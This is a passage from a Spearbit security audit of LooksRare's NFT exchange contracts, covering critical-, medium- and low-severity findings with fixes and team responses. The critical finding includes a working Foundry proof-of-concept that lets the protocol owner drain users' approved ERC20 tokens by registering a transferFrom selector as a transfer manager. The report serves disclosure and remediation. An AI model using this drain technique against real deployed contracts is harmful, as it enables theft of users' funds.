LOOKSRARE Security Review

Auditors

Saw-Mon and Natalie, Lead Security Researcher

Optimum, Lead Security Researcher

Riley Holterhus, Security Researcher

Maxime Viard, Junior Security Researcher

Report prepared by: Pablo Misirov & Maxime Viard

April 5, 2023

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

LooksRare is the community-first NFT marketplace that actively rewards traders, collectors and creators for active participation.

The focus of this security review included the following, but was not limited to:

- Detecting general architecture vulnerabilities.
- Checking for miscalculations on exchanges.
- Checking if the protocol synchronizes correctly during state changes.
- Abusing the protocol to benefit from any loss of funds.
- Optimizing gas usage to increase performance.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of LooksRare Contracts Exchange V2 according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 21 days in total, LooksRare engaged with Spearbit to review the Contracts Exchange V2 protocol. In this period of time a total of **68** issues were found.

Summary

Project Name	LooksRare
Repository	contracts-exchange-v2
Commit	ad67592...eb8b0106
Type of Project	NFT Marketplace
Audit Timeline	Jan 9th - Jan 27th
Two week fix period	Jan 27th - Feb 13th

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	1	1	0
High Risk	0	0	0
Medium Risk	1	1	0
Low Risk	22	13	9
Gas Optimizations	9	8	1
Informational	35	24	11
Total	**68**	**47**	**21**

5 Findings

5.1 Critical Risk

5.1.1 The Protocol owner can drain users' currency tokens

Severity: Critical Risk

Context:

- LooksRareProtocol.sol#L138
- LooksRareProtocol.sol#L391-L398
- ITransferSelectorNFT.sol#L14-L17
- TransferSelectorNFT.sol#L41
- TransferSelectorNFT.sol#L89-L98

Description: The Protocol `owner` can drain users' `currency` tokens that have been approved to the protocol. Makers who want to bid on NFTs would need to approve their currency token to be spent by the protocol. The `owner` should not be able to access these funds for free.

The `owner` can drain the funds as follows:

1. Calls `addTransferManagerForAssetType` and assigns the `currency` token as the `transferManagerForAssetType` and `IERC20.transferFrom.selector` as the `selectorForAssetType` for a new `assetType`.
2. Signs an almost empty `MakerAsk` order and sets its `collection` as the address of the targeted user and the `assetType` to the newly created `assetType`. The owner also creates the corresponding `TakerBid` by setting the `recipient` field to the amount of currency they would like to transfer.
3. Calls the `executeTakerBid` endpoint with the above data without a `merkleTree` or `affiliate`.

```
// file: test/foundry/Attack.t.sol
pragma solidity 0.8.17;

import {IStrategyManager} from "../../contracts/interfaces/IStrategyManager.sol";
import {IBaseStrategy} from "../../contracts/interfaces/IBaseStrategy.sol";
import {OrderStructs} from "../../contracts/libraries/OrderStructs.sol";

import {ProtocolBase} from "./ProtocolBase.t.sol";
import {MockERC20} from "../mock/MockERC20.sol";

contract NullStrategy is IBaseStrategy {
    function isLooksRareV2Strategy() external pure override returns (bool) {
        return true;
    }

    function executeNull(
        OrderStructs.TakerBid calldata /* takerBid */,
        OrderStructs.MakerAsk calldata /* makerAsk */
    )
        external
        pure
        returns (
            uint256 price,
            uint256[] memory itemIds,
            uint256[] memory amounts,
            bool isNonceInvalidated
        )
    {}

}
```

```
contract AttackTest is ProtocolBase {
    NullStrategy private nullStrategy;
    MockERC20 private mockERC20;

    uint256 private signingOwnerPK = 42;
    address private signingOwner = vm.addr(signingOwnerPK);
    address private victimUser = address(505);

    function setUp() public override {
        super.setUp();

        vm.startPrank(_owner);

        looksRareProtocol.initiateOwnershipTransfer(signingOwner);

        // This particular strategy is not a requirement of the exploit.
        nullStrategy = new NullStrategy();
        looksRareProtocol.addStrategy(
            0,
            0,
            0,
            NullStrategy.executeNull.selector,
            false,
            address(nullStrategy)
        );

        mockERC20 = new MockERC20();
        looksRareProtocol.updateCurrencyWhitelistStatus(address(mockERC20), true);

        looksRareProtocol.updateCreatorFeeManager(address(0));
        mockERC20.mint(victimUser, 1000);
        vm.stopPrank();

        vm.prank(signingOwner);
        looksRareProtocol.confirmOwnershipTransfer();
    }

    function testDrain() public {
        vm.prank(victimUser);
        mockERC20.approve(address(looksRareProtocol), 1000);

        vm.startPrank(signingOwner);
        looksRareProtocol.addTransferManagerForAssetType(
            2,
            address(mockERC20),
            mockERC20.transferFrom.selector
        );

        OrderStructs.MakerAsk memory makerAsk =
        _createSingleItemMakerAskOrder({
            askNonce: 0,
            subsetNonce: 0,
            strategyId: 1,  // null strategy
            assetType: 2, // ERC20 asset!
            orderNonce: 0,
            collection: victimUser, // <--- will be used as the `from`
            currency: address(0),
            signer: signingOwner,
            minPrice: 0,
            itemId: 1
        });
```

```
        bytes memory signature = _signMakerAsk(makerAsk, signingOwnerPK);

        OrderStructs.TakerBid memory takerBid = OrderStructs.TakerBid(
            address(1000), // `amount` field for the `transferFrom`
            0,
            makerAsk.itemIds,
            makerAsk.amounts,
            bytes("")
        );

        looksRareProtocol.executeTakerBid(
            takerBid,
            makerAsk,
            signature,
            _EMPTY_MERKLE_TREE,
            _EMPTY_AFFILIATE
        );

        vm.stopPrank();

        assertEq(mockERC20.balanceOf(signingOwner), 1000);
        assertEq(mockERC20.balanceOf(victimUser), 0);
    }
}
```

Recommendation: It would be best to fix the selector instead of the protocol `owner` being able to assign arbitrary selectors for `managerSelectorOfAssetType[assetType]`. This can be done by requiring all selected transfer managers to adhere to the same interface which defines the following endpoint:

```
interface ITransferManager {
  ...
  function executeTransfer(
    address collection,
    address from,
    address to,
    uint256[] calldata itemIds,
    uint256[] calldata amounts
  )
}
```

The endpoint name `executeTransfer` above should be chosen to avoid `selector` collision with potential currencies that will be allowed for the protocol (`IERC20` tokens or even all the endpoint selectors involved in the protocol).

The `call` in `_transferNFT` can be changed to:

```
(bool status, ) = ITransferManager(transferManager).executeTransfer(
  collection,
  sender,
  recipient,
  itemIds,
  amounts
);
```

and `managerSelectorOfAssetType`'s type can be changed to:

```
mapping(uint256 => address) public managerSelectorOfAssetType;
```

The above change also has the benefit of reducing gas costs.

LooksRare: The ability to add new transfer managers and selectors for new asset types has been removed. Also the transfer manager for `ERC721` and `ERC1155` assets gets assigned to an immutable variable upon deployment.

Fixed in PR 308 and PR 363.

Spearbit: Verified

5.2 Medium Risk

5.2.1 `StrategyFloorFromChainlink` will often revert due to stale prices

Severity: Medium Risk

Context: StrategyFloorFromChainlink.sol

Description: The `FloorFromChainlink` strategy inherits from `BaseStrategyChainlinkPriceLatency`, so it can have a `maxLatency` of at most 3600 seconds. However, all of the chainlink mainnet floor price feeds have a heartbeat of 86400 seconds (24 hours), so the chainlink strategies will revert with the `PriceNotRecentEnough` error quite often. At the time of writing, every single mainnet floor price feed has an `updateAt` timestamp well over 3600 seconds in the past, meaning the strategy would always revert for any mainnet price feed right now. This may have not been realized earlier because the Goerli floor price feeds *do* have a heartbeat of 3600, but the mainnet heartbeat is much less frequent.

One of the consequences is that users might miss out on exchanges they would have accepted. For example, if a taker bid is interested in a maker ask with an eth premium from the floor, in the likely scenario where the taker didn't log-in within 1 hour of the last oracle update, the strategy will revert and the exchange won't happen even though both parties are willing. If the floor moves up again the taker might not be interested anymore. The maker will have lost out on making a premium from the floor, and the taker would have lost out on the exchange they were willing to make.

Recommendation: For the `FloorFromChainlink` strategy, allow for a `maxLatency` value of 86400, instead of restricting at 3600.

LooksRare: Fixed in PR 326.

Spearbit: Verified.

5.3 Low Risk

5.3.1 `minPrice` and `maxPrice` should reflect the allowed regions for the funds to be transferred from the bidder to the ask recipient

Severity: Low Risk

Context:

- ExecutionManager.sol#L157-L167
- ExecutionManager.sol#L243-L253

Description:

1. When a maker or taker sets a `minPrice` for an ask, the protocol should guarantee the funds they receive is at minimum the `minPrice` amount (currently not enforced).
2. Also reversely, when a maker or taker sets a `maxPrice` for a bid, the protocol should guarantee that the amount they spend is at maximum `maxPrice` (currently enforced).

For 1. the current protocol-controlled deviation can be `30%` maximum (sum of fees sent to the creator, the protocol fee recipient, and an affiliate).

Recommendation: One can enforce both of the above points by making sure strategies only require `minPrice <= maxPrice` (they would not need to be equal in general for each strategy, and can be indirectly enforced at the protocol level). Related issue: *"`price` validation in `executeStrategyWithTakerAsk`, `executeCollectionStrategyWithTakerAsk` and `executeCollectionStrategyWithTakerAskWithProof` can be relaxed"*

Changes required for **taker bid** strategies:

- Common changes for all strategies: the `takerBid.maxPrice` needs to be compared to the sum of the `price` returned by the strategy and the fees that would need to be sent to the creator, protocol fee recipient, and an affiliate (`takerBid.maxPrice >= sum`). Note that in this case fees are not deducted from the `price` but added, and the taker is responsible to pay all those fees, but has the `takerBid.maxPrice` as a guard so that they don't end up paying more than what they had set. This would also allow the maker to receive the full amount of the fund/`price` set by their chosen strategy.
- `InheritedStrategy`: `iszero(eq(price, counterpartyPrice))` needs to be taken out of this shared logic between taker bid and ask executions. The strategy chooses `makerAsk.minPrice` as the strategies `price` which is correct since we also need to make sure the `price` returned by the strategy which is what the maker would receive is at least `makerAsk.minPrice`.
- `StrategyDutchAuction`: `if (takerBid.maxPrice < price)` needs to be removed as the **common required change** would cover this. Also, this strategy picks the `price` in a way that it is not less than `makerAsk.minPrice`.
- `StrategyUSDDynamicAsk`: `if (takerBid.maxPrice < price)` needs to be removed as the **common required change** would cover this. Also, this strategy picks the `price` in a way that it is not less than `makerAsk.minPrice`.
- `StrategyFloorFromChainlink.execute...PremiumStrategyWithTakerBid`: `if (takerBid.maxPrice < price)` (2) needs to be removed as the common required change would cover this. Also, this strategy picks the `price` in a way that it is not less than `makerAsk.minPrice`.

In a nutshell, remove the above-mentioned checks for `takerBid.maxPrice` from individual strategies and instead apply a similar check at the protocol level that also includes the extra fees.

The following

```
if (fees[1] == 0) {
    // If creator fee is null, protocol fee is set as the minimum total fee amount
    fees[0] = minTotalFeeAmount;
    // Net fee amount for seller
    fees[2] = price - fees[0];
} else {
    // If there is a creator fee information, the protocol fee amount can be calculated
    fees[0] = _calculateProtocolFeeAmount(price, makerAsk.strategyId, fees[1], minTotalFeeAmount);
    // Net fee amount for seller
    fees[2] = price - fees[1] - fees[0];
}
```

will be replaced by

```
fees[2] = price;

if (fees[1] == 0) {
    // If creator fee is null, protocol fee is set as the minimum total fee amount
    fees[0] = minTotalFeeAmount;
} else {
    // If there is a creator fee information, the protocol fee amount can be calculated
    fees[0] = _calculateProtocolFeeAmount(price, makerAsk.strategyId, fees[1], minTotalFeeAmount);
}

if (takerBid.maxPrice < (fees[0] + fees[1] + fees[2])) {
    revert BidTooLow();
}
```

$$p_{min}^{makerAsk} \leq f_2 \leq f_0 + f_1 + f_2 \leq p_{max}^{takerBid}$$

future taker bid strategies would need to guarantee the `price` they pick is always not less than `makerAsk.minPrice` ($p_{min}^{makerAsk} \leq f_2$) and by the above change the protocol validates the returned `price` range including the fees against

the `takerBid.maxPrice` ($f_0 + f_1 + f_2 \leq p_{max}^{takerBid}$).

Changes required for **taker ask** strategies:

- Common changes for all strategies: the `takerAsk.minPrice` needs to be compared to the `fees[2]` which is the amount the `msg.sender` or `takerAsk.recipient` would receive.
- `InheritedStrategy`: `iszero(eq(price, counterpartyPrice))` needs to be taken out of this shared logic between taker bid and ask executions. The strategy chooses `makerBid.maxPrice` as the strategies `price` which is correct since we also need to make sure the `price` returned by the strategy which is what the maker would spend is at most `makerBid.maxPrice`.
- `StrategyItemIdsRange`: `if (makerBid.maxPrice != takerAsk.minPrice)` needs to be removed as the **common required change** would cover this. Also, this strategy picks the `price` in a way that it is not greater than `makerBid.maxPrice`.
- `StrategyCollectionOffer`: `price != takerAsk.minPrice` (2) needs to be removed as the **common required change** would cover this. Also, this strategy picks the `price` in a way that it is not greater than `makerBid.maxPrice`.
- `StrategyFloorFromChainlink.execute...DiscountCollectionOfferStrategyWithTakerAsk`: `if (takerAsk.minPrice > price)` (2) needs to be removed as the **common required change** would cover this. Also, this strategy picks the `price` in a way that it is not greater than `makerBid.maxPrice`.

In a nutshell, remove the above-mentioned checks for `takerAsk.minPrice` from individual strategies and instead apply a similar check at the protocol level that also excludes deducted fees:

We can add a check to the following

```
if (fees[1] == 0) {
    // If creator fee is null, protocol fee is set as the minimum total fee amount
    fees[0] = minTotalFeeAmount;
    // Net fee for seller
    fees[2] = price - fees[0];
} else {
    // If there is a creator fee information, the protocol fee amount can be calculated
    fees[0] = _calculateProtocolFeeAmount(price, makerBid.strategyId, fees[1], minTotalFeeAmount);
    // Net fee for seller
    fees[2] = price - fees[1] - fees[0];
}
```

The added new check

```
if (takerAsk.minPrice > fees[2]) {
    revert AskTooHigh();
}
```

$$p_{min}^{takerAsk} \leq f_2 - f_0 - f_1 \leq f_2 \leq p_{max}^{makerBid}$$

future taker bid strategies would need to guarantee the `price` they pick is always not greater than `makerBid.maxPrice` ($f_2 \leq p_{max}^{makerBid}$) and by the above change the protocol validates the returned `price` range excluding the fees against the `takerAsk.minPrice` ($p_{min}^{takerAsk} \leq f_2 - f_0 - f_1$).

The above changes would protect the invariants set by the maker and taker when slippage is introduced by:

- Variable creator fees.
- `owner` front-running (potentially accidentally) a transaction to change the fee percentages before an order gets executed.

Related issue: *"Seller might get a lower fee than expected due to front-running"*

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.3.2 `StrategyItemIdsRange` does not invalidate `makerBid.amounts[0] == 0`

Severity: Low Risk

Context:

- StrategyItemIdsRange.sol#L44

Description: `StrategyItemIdsRange` does not check whether `makerBid.amounts[0]` is zero or not. If it was `0`, the taker can provide empty `itemIds` and `amounts` which will cause the `for` loop to be skipped. The check below will also be successful since both amounts are `0`:

```
if (totalOfferedAmount != desiredAmount) {
      revert OrderInvalid();
}
```

Depending on the used implementation of a transfer manager for the asset type used in this order, we might end up with the taker taking funds from the maker without providing any NFT tokens.

The current implementation of `TransferManager` does check whether the provided `itemIds` have length `0` and it would revert in that case.

One difference between this strategy and others are that all strategies including this one do check to revert if an `amount` for a specific `itemId` is `0` (and some of them have loops but the length of those loops depends on the parameters from the maker which enforce the loop to run at least once), but for this strategy if no `itemIds` are provided by the taker, the loop is skipped and one does not check whether the aggregated amount is `0` or not.

Recommendation: `executeStrategyWithTakerAsk` and `isMakerBidValid`, both should check whether `makerBid.amounts[0] == 0` and revert (return invalid).

LooksRare: Fixed in PR 367.

Spearbit: Verified.

5.3.3 `TransferManager`'s owner can block token transfers for `LooksRareProtocol`

Severity: Low Risk

Context:

- TransferManager.sol#L241
- TransferSelectorNFT.sol#L28-L32

Description: In general, a deployed `TransferManager` (T) and a deployed `LooksRareProtocol` (L) might have two different owners (O_T, O_L).

Assume `TransferManager` is used for asset types `0` and `1` (`ERC721`, `ERC1155`) in `LooksRareProtocol` and `TransferManager` has marked the `LooksRareProtocol` as an allowed operator. At any point, O_T can call `removeOperator` to block L from calling T. If that happens, O_L would need to add new (virtual) asset types (not `0` or `1`) and the corresponding transfer managers for them. Makers would need to resign their orders with new asset types.

Moreover, if LooksRare for the following issue *"The Protocol owner can drain users' currency tokens"* applies their solution through PR 308 which removes the ability of O_L to add new asset types, then the whole protocol would need to be redeployed, since all order executions would revert.

Recommendation: Enforce $O_L = O_T$. This can be done by modifying the `LooksRareProtocol`'s constructor to deploy `TransferManager` and assign O_L as its owner and make sure O_L can only update O_T at any point in time.

Another solution to this problem could be to make sure O_L has more power than O_T. For example, O_L should be able to set/update O_T at any point (one can check that before adding T to L).

LooksRare: Acknowledged but the purpose of having a transfer manager contract separate from the protocol contract is to allow future versions of marketplace protocols (or other systems) to reuse existing user approvals.

It is possible the protocol itself "gets discontinued" in the future with ownership being renounced while the transfer manager system removes active.

Spearbit: Acknowledged.

5.3.4 `transferItemsERC721` and `transferBatchItemsAcrossCollections` in `TransferManager` do not check whether an `amount == 1` for an `ERC721` token

Severity: Low Risk

Context:

- TransferManager.sol#L47
- TransferManager.sol#L112

Description: `transferItemsERC721` and `transferBatchItemsAcrossCollections` in `TransferManager` do not check whether an `amount == 1` for an `ERC721` token. If an operator (approved by a user) sends a `0` amount for an `itemId` in the context of transferring `ERC721` token, `TransferManager` would perform those transfers, even though the logic in the operator might have meant to avoid those transfers.

Recommendation: In `transferItemsERC721` and `transferBatchItemsAcrossCollections` would be best to introduce checks for `ERC721` token `amount`s to make sure they are always `1` (if not skip or revert).

LooksRare: Amount checks have been moved from execution strategies to the transfer manager in PR 386.

Spearbit: Verified.

5.3.5 The maker cannot enforce the number of times a specific order can be fulfilled for custom strategies

Severity: Low Risk

Context:

- ExecutionManager.sol#L221
- ExecutionManager.sol#L135
- LooksRareProtocol.sol#L549-L556

Description: When a maker signs an order with a specific strategy it leaves it up to the strategy to decide how many times this specific order can be fulfilled. The strategy's logic on how to decide on the returned `isNonceInvalidated` value, can be a complex logic in general that might be prone to errors (or have backdoors). The maker should be able to directly enforce at least an upper bound for the maximum number of fulfills for an order to avoid unexpected expenditure.

Recommendation: It would be best to introduce a new field `maxNumberOfFulfillments` (or a similar name) for the structs `MakerBid` and `MakerAsk` which the maker can sign. The `LooksRare` protocol would need to define a new storage parameter that keeps track of the number of fulfillments based on the `orderHash`:

```
mapping(bytes32 => uint256) private orderFulfilled;
```

and make sure the number of fulfillments (`orderFulfilled[orderHash]`) does not surpass `maxNumberOfFulfillments`.

LooksRare: Acknowledged but won't implement.

Spearbit: Acknowledged.

5.3.6 A strategy can potentially reduce the value of a token before it gets transferred to a maker when a taker calls `executeTakerAsk`

Severity: Low Risk

Context:

- ExecutionManager.sol#L124
- ExecutionManager.sol#L210

Description: When `executeTakerAsk` is called by a taker a (signed by maker) strategy will be called:

```
(bool status, bytes memory data) = strategyInfo[makerBid.strategyId].implementation.call(
    abi.encodeWithSelector(strategyInfo[makerBid.strategyId].selector, takerAsk, makerBid)
);
```

Note that this is a stateful call. This call is performed before the NFT token is transferred to the maker (signer). Even though the strategy is fixed by the maker (since the `stratgeyId` has been signed), the strategy's implementation might involve a complex logic that might allow (if the strategy colludes with the taker somehow) a derivative token (that is owned by / linked to the to-be-transferred token) to be reattached to another token (think of accessories for an NFT character token in a game). And so the value of the to-be-transferred token would be reduced in that sense. A maker would not be able to check for this linked derivative token ownership during the transaction since there is no post-transfer hook for the maker (except in one special case when the token involved is `ERC1155` and the maker is a custom contract).

Also, note that all the implemented strategies would not alter the state when they are called (their endpoints have a `pure` or a `view` visibility). There is an exception to this in the `StrategyTestMultiFillCollectionOrder` test contract.

Recommendation: It would be best to only allow `staticcall`s when the protocol makes a call (1, 2) into a strategy to avoid the issues above. This recommendation also does not break the flow for any of the currently implemented strategies.

```
(bool status, bytes memory data) = strategyInfo[makerXxx.strategyId].implementation.staticcall( // <---
    abi.encodeWithSelector(strategyInfo[makerXxxstrategyId].selector, takerYyy, makerXxx)
);
```

LooksRare: There might be future strategies that change state in the strategy contract, hence we decided to keep it as call instead of staticcall. Acknowledged as a business risk.

Spearbit: Acknowledged.

5.3.7 An added transfer manager cannot get deactivated from the protocol

Severity: Low Risk

Context:

- TransferSelectorNFT.sol

Description: Once a transfer manager for an asset type gets added to the protocol either through the `constructor` or through `addTransferManagerForAssetType`, if at some point there is a malicious behavior involved with the transfer manager, there is no mechanism for the protocol's owner to deactivate the transfer manager (similar to how strategies can be deactivated).

If `TransferManager` is used for an asset type, on the `TransferManager` side the owner can break the link between the operator (the LooksRare protocol potentially) and the `TransferManager` but not the other way around.

Recommendation: We can add an update functionality where only the activation status of a transfer manager can get updated (and not the implementation or the selector) by the protocol owner.

If an update mechanism will not be added, the above case should be documented/commented for the users/makers so that in case of a malicious activity by a transfer manager for an asset type, they would stop signing orders with

that asset type and also would cancel the already signed orders. And also takers would need to refrain from executing orders with that particular asset type.

If the current and potential transfer managers would have the same owners as the protocol, and if that owner can break the link between these two contracts from at least one side, implementing a second pass-through filter is not necessary.

LooksRare: This issue is not relevant anymore following the changes implemented in PR 308.

Spearbit: Verified.

5.3.8 Temporary DoS is possible in case orders are using tokens with blacklists

Severity: Low Risk

Context: LooksRareProtocol.sol#L470

Description: In the process of settling orders, `_transferFungibleTokens` is being called at max 4 times. In case one of these calls fails the entire transaction fails. It can only fail when an `ERC20` token is used for the trade but since contracts are whitelisted in the system and probably vetted by the team, it's safe to say it's less probable that the receiver will have the ability to revert the entire transaction, although it is possible for contracts that implement a `transferAndCall` pattern. However, there's still the issue of transactions being reverted due to blacklistings (which have become more popular in the last year). In order to better assess the risk let's elaborate more on the 4 potential recipients of a transaction:

1. `affiliate` - The risk can be easily mitigated by proper handling at the front-end level. If the transaction fails due to the affiliate's address, the taker can specify `address(0)` as the affiliate.
2. `recipient` - If the transaction fails due to the recipient's address, it can only impact the taker in a gas-griefing way.
3. `protocol` - If the transaction fails due to the protocol's address, its address might be updated by the contract owner in the worst case.
4. `creator` - If the transaction fails due to the creator's address it can not be changed directly, but in the worst case `creatorFeeManager` can be changed.

Recommendation: In conclusion, this issue can not brick the system entirely, and specific orders can not be forever censored this way. However, it may still cause a temporary DoS for certain orders, that's why it is recommended to use an off-chain monitoring service to monitor blacklisted addresses that are used by the protocol and to make sure that it is supported at the front-end level as well if needed. Another alternative would be to implement a "pull pattern" where the fee beneficiaries (`affiliate`, `creator`, `protocol`) have to withdraw their allocated fees from the contract, thus decoupling a potential failure in the transfer action from the overall item transaction. There is a trade-off between security and user experience and it's up to the project team to make this decision. Either way, it is recommended to have a proper internal vetting process for tokens before white-listing.

LooksRare: Acknowledged.

Spearbit: Acknowledged.

5.3.9 `viewCreatorFeeInfo`'s reversion depends on order of successful calls to `collection.royaltyInfo`

Severity: Low Risk

Context:

- CreatorFeeManagerWithRoyalties.sol#L56-L61
- CreatorFeeManagerWithRebates.sol#L51-L54

Description: The outcome of the call to `viewCreatorFeeInfo` for both `CreatorFeeManagerWithRebates` and `CreatorFeeManagerWithRoyalties` is dependent on the order of `itemIds`.

Assume, we have 2 `itemIds` with the following properties:

- `itemId` *x* where the call to `collection.royaltyInfo(x, price)` is successful (`status == 1`) and returns `(a, ...)` where $a \neq 0$.
- `itemId` *y* where the call to `collection.royaltyInfo(y, price)` fails (`status == 0`)

Then if `itemIds` provided to `viewCreatorFeeInfo` is:

- `[x, y]`, the call to `viewCreatorFeeInfo` returns successfully as the outcome for `y` will be ignored/skipped.
- `[y, x]`, the call to `viewCreatorFeeInfo` reverts with `BundleEIP2981NotAllowed(collection)`, since the first item will be skipped and so the initial value for `creator` will not be set and remains `address(0)`, but when we process the loop for *x*, we end up comparing *a* with `address(0)` which causes the revert.

Recommendation: Either revert the calls to `viewCreatorFeeInfo` when a call to `collection.royaltyInfo` fails, or set the `creator` (`creatorFee`) on the first successful call to `collection.royaltyInfo` (which might not be the first round of the loop when $i = 0$) and ignore all failed calls.

LooksRare: Fixed in PR 346.

Spearbit: Verified.

5.3.10 `CreatorFeeManagerWithRebates.viewCreatorFeeInfo` reversion is dependent on the order of `itemIds`

Severity: Low Risk

Context:

- CreatorFeeManagerWithRebates.sol#L57-L64

Description: Assume there is an `itemId` *x* where `collection.royaltyInfo(x, price)` returns `(0, _)` and another `itemId` *y* where `collection.royaltyInfo(y, price)` returns `(a, _)` where $a \neq 0$.

Then if the `itemIds` array provided to `CreatorFeeManagerWithRebates.viewCreatorFeeInfo` is `[x, y, ...]`, the return parameters would be `(address(0), 0)` and `[y, x, ...]`, the call would revert with `BundleEIP2981NotAllowed(collection)`.

Recommendation: The outcome of the call to `CreatorFeeManagerWithRebates.viewCreatorFeeInfo` should not be dependent on the order of `itemIds`. We should loop over all `itemIds` and make sure all the creators match before returning.

LooksRare: Fixed in PR 324.

Spearbit: Verified.

5.3.11 Affiliates can trick the protocol to receive fees even when not needed

Severity: Low Risk

Context: LooksRareProtocol.sol#L440

Description: Currently, takers specify the address of an affiliate, which will get a portion of the protocol fee in case it has a non-zero value in the `affiliateRates` mapping, and the affiliate program is active. Whitelisted affiliates can trick the system by either colluding with potential takers that will set their affiliate address and then later split the revenue between them or by acting as both the taker and the affiliate (by using different addresses that belong to the same party) when trading their own items. This, in turn, will cause a decrease in fees collected by the protocol address.

LooksRare: Acknowledged. Accepted as a business risk inherent to the feature.

Spearbit: Acknowledged.

5.3.12 Seller might get a lower fee than expected due to front-running

Severity: Low Risk

Context: ExecutionManager.sol#L95 ExecutionManager.sol#L183

Description: This protocol seems to have a fee structure where both the protocol and the original creator of the item are charging fees, and these fees are being subtracted from the seller's fee. This means that the seller, whether they are a maker or a taker, may receive a lower price than they expected due to sudden changes in creator or protocol fee rates.

Recommendation: The impact of the described issue is limited since a potential loss is already capped in the current version of the code, However, it is still recommended to add a variable that represents the maximum fee that the seller is willing to pay to the `Order` struct, and to validate that the actual fee does not exceed this value. This will provide an additional layer of protection against any potential losses.

LooksRare: Acknowledged.

This is a known accepted issue with numbers up to 5% for protocol fee (set at the strategy) and 10% (originally 25%) for royalty. So while the default is 2% (2% protocol fees and no royalty), it can be as high as 15% (5% protocol fees and 10% royalties). This was implemented in such a way so as to simplify the logic in the backend from preventing orders which cannot be executed due to mismatch onchain and offchain slippage.

Spearbit: Acknowledged.

5.3.13 `StrategyManager` does not emit an event when the first strategy gets added.

Severity: Low Risk

Context:

- StrategyManager.sol#L32-L42

Description: `StrategyManager` does not emit an event when the first strategy gets added which can cause issues for off-chain agents.

Recommendation: To make it easier for off-chain agents' data lookup, it would be great to make sure to also emit the `NewStrategy` event when the first strategy is added in `StrategyManager`'s constructor

```
constructor(address _owner) CurrencyManager(_owner) {
  strategyInfo[0] = Strategy({
    isActive: true,
    standardProtocolFeeBp: 150,
    minTotalFeeBp: 200,
    maxProtocolFeeBp: 300,
    selector: bytes4(0),
    isMakerBid: false,
    implementation: address(0)
  });

  emit NewStrategy(
    0,
    150,
    200,
    300,
    bytes4(0),
    false,
    address(0)
  );
}
```

LooksRare: Fixed in PR 313.

Spearbit: Verified.

5.3.14 `TransferSelectorNFT` does not emit events when new transfer managers are added in its constructor

Severity: Low Risk

Context:

- TransferSelectorNFT.sol#L28-L32

Description: `TransferSelectorNFT` does not emit an event when `assetTypes` of `0` and `1` are added in its constructor.

Recommendation: To make it easier for off-chain agents' data lookup, it would be best to emit `NewAssetType` every time a new transfer manager is added.

```
constructor(address _owner, address transferManager) ExecutionManager(_owner) {
  // Transfer manager with selectors for ERC721/ERC1155
  managerSelectorOfAssetType[0] = ManagerSelector({transferManager: transferManager, selector:
↪  0xa7bc96d3});
  managerSelectorOfAssetType[1] = ManagerSelector({transferManager: transferManager, selector:
↪  0xa0a406c6});

  emit NewAssetType(0, transferManager, 0xa7bc96d3);
  emit NewAssetType(1, transferManager, 0xa0a406c6);
}
```

LooksRare: Not necessary anymore since adding new asset types has been removed in PR 308.

Spearbit: Verified.

5.3.15 Protocol fees will be sent to `address(0)` if `protocolFeeRecipient` is not set.

Severity: Low Risk

Context:

- LooksRareProtocol.sol#L452
- ExecutionManager.sol#L43

Description: Protocol fees will be sent to `address(0)` if `protocolFeeRecipient` is not set.

Recommendation: Either add a check before `_transferFungibleTokens` to make sure to only send fees if `protocolFeeRecipient` is not `address(0)` or enforce `protocolFeeRecipient` is set in `ExecutionManager`'s `constructor`.

LooksRare: Fixed in PR 349.

Spearbit: Verified.

5.3.16 The returned `price` by strategies are not validated

Severity: Low Risk

Context:

- ExecutionManager.sol#L135
- ExecutionManager.sol#L221

Description: When a taker submits an order to be executed, the returned price by the maker's chosen strategy is not validated. The current strategies do have the validations implemented. But the general upper and lower bound price validation would need to be in the protocol contract itself since the price calculation in a potential strategy might be a complex matter that cannot be easily verified by a maker or a taker.

Related issue: *"price validation in executeStrategyWithTakerAsk, executeCollectionStrategyWithTakerAsk and executeCollectionStrategyWithTakerAskWithProof can be relaxed"*

Recommendation: Compare the returned `price` by strategies in `LooksRareProtocol` to the minimum and maximum price provided by the makers and takers and make sure it is within the correct range. This validation should be refactored out of strategies and delegated directly in the protocol.

```
if (makerXXX.strategyId == 0) {
 ...
} else {
    if (strategyInfo[makerXXX.strategyId].isActive) {
    ...
    } else {
        revert StrategyNotAvailable(makerXXX.strategyId);
    }
}

// validate returned price here
// `maxPrice` and `minPrice` are defined based on whether it's a TakerAsk or TakerBid
if (price > maxPrice || price < minPrice) {
   revert ...
}
```

The above validation indirectly also implies that `minPrice <= maxPrice`.

LooksRare: Acknowledged but will not be adjusted. Checks are likely to exist on other parts of the app to reject some extreme prices.

Spearbit: Acknowledged.

5.3.17 Makers can sign (or be tricked into signing) collection of orders (using the merkle tree mechanism) that cannot be entirely canceled.

Severity: Low Risk

Context:

- LooksRareProtocol.sol#L126
- LooksRareProtocol.sol#L151
- LooksRareProtocol.sol#L206
- LooksRareProtocol.sol#L567

Description: All user-facing order execution endpoints of the protocol check whether the order hash is included in the merkle tree data provided by the caller. If it is, the maker/signer is only required to sign the hash of the tree's root.

A maker might sign (or get tricked into signing) a root that belongs to trees with a high number of leaves such that the leaves each encode an order with

- Different `subsetNonce` and `orderNonce` (this would require canceling each nonce individually if the relevant endpoints are used).
